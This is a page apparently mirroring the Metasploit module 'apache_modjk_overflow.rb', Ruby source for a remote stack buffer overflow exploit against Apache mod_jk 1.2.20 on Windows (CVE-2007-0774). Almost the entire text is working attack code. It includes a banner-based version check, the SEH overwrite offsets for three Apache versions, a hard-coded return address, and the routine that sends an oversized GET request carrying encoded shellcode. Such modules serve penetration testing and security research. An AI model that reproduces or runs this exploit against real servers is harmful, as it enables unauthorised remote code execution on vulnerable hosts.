Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/apache_modjk_overflow.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow',14'Description' => %q{15This is a stack buffer overflow exploit for mod_jk 1.2.20.16Should work on any Win32 OS.17},18'Author' => 'Nicob <nicob[at]nicob.net>',19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2007-0774' ],23[ 'OSVDB', '33855' ],24[ 'BID', '22791' ],25[ 'ZDI', '07-008' ]26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Privileged' => true,32'Payload' =>33{34'Space' => 4000,35'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",36'DisableNops' => true37},38'Platform' => 'win',39'Targets' =>40[41# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)42['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],43],44'DefaultTarget' => 0,45'DisclosureDate' => '2007-03-02'))4647register_options(48[49Opt::RPORT(80)50])51end5253def check54connect5556sock.put("GET / HTTP/1.0\r\n\r\n")57resp = sock.get_once58disconnect5960if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1\.2\.20/))) then61vprint_status("Apache version detected : #{m[1]}")62return Exploit::CheckCode::Appears63else64return Exploit::CheckCode::Safe65end66end6768def exploit69connect7071uri_start = "GET /"72uri_end = ".html HTTP/1.0\r\n\r\n"73sc_base = 167475shellcode = payload.encoded76sploit = rand_text_alphanumeric(5001)77sploit[sc_base, shellcode.length] = shellcode7879# 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.2080# 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.2081# 4423 : Apache/2.2.3 (Win32) mod_jk/1.2.208283[ 4343, 4407, 4423 ].each { |seh_offset|84sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')85sploit[seh_offset - 4, 2] = "\xeb\xf9"86sploit[seh_offset , 4] = [ target.ret ].pack('V')87}8889print_status("Trying target #{target.name}...")90sock.put(uri_start + sploit + uri_end)9192resp = sock.get_once93if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))94print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")95end9697handler98disconnect99end100end101102103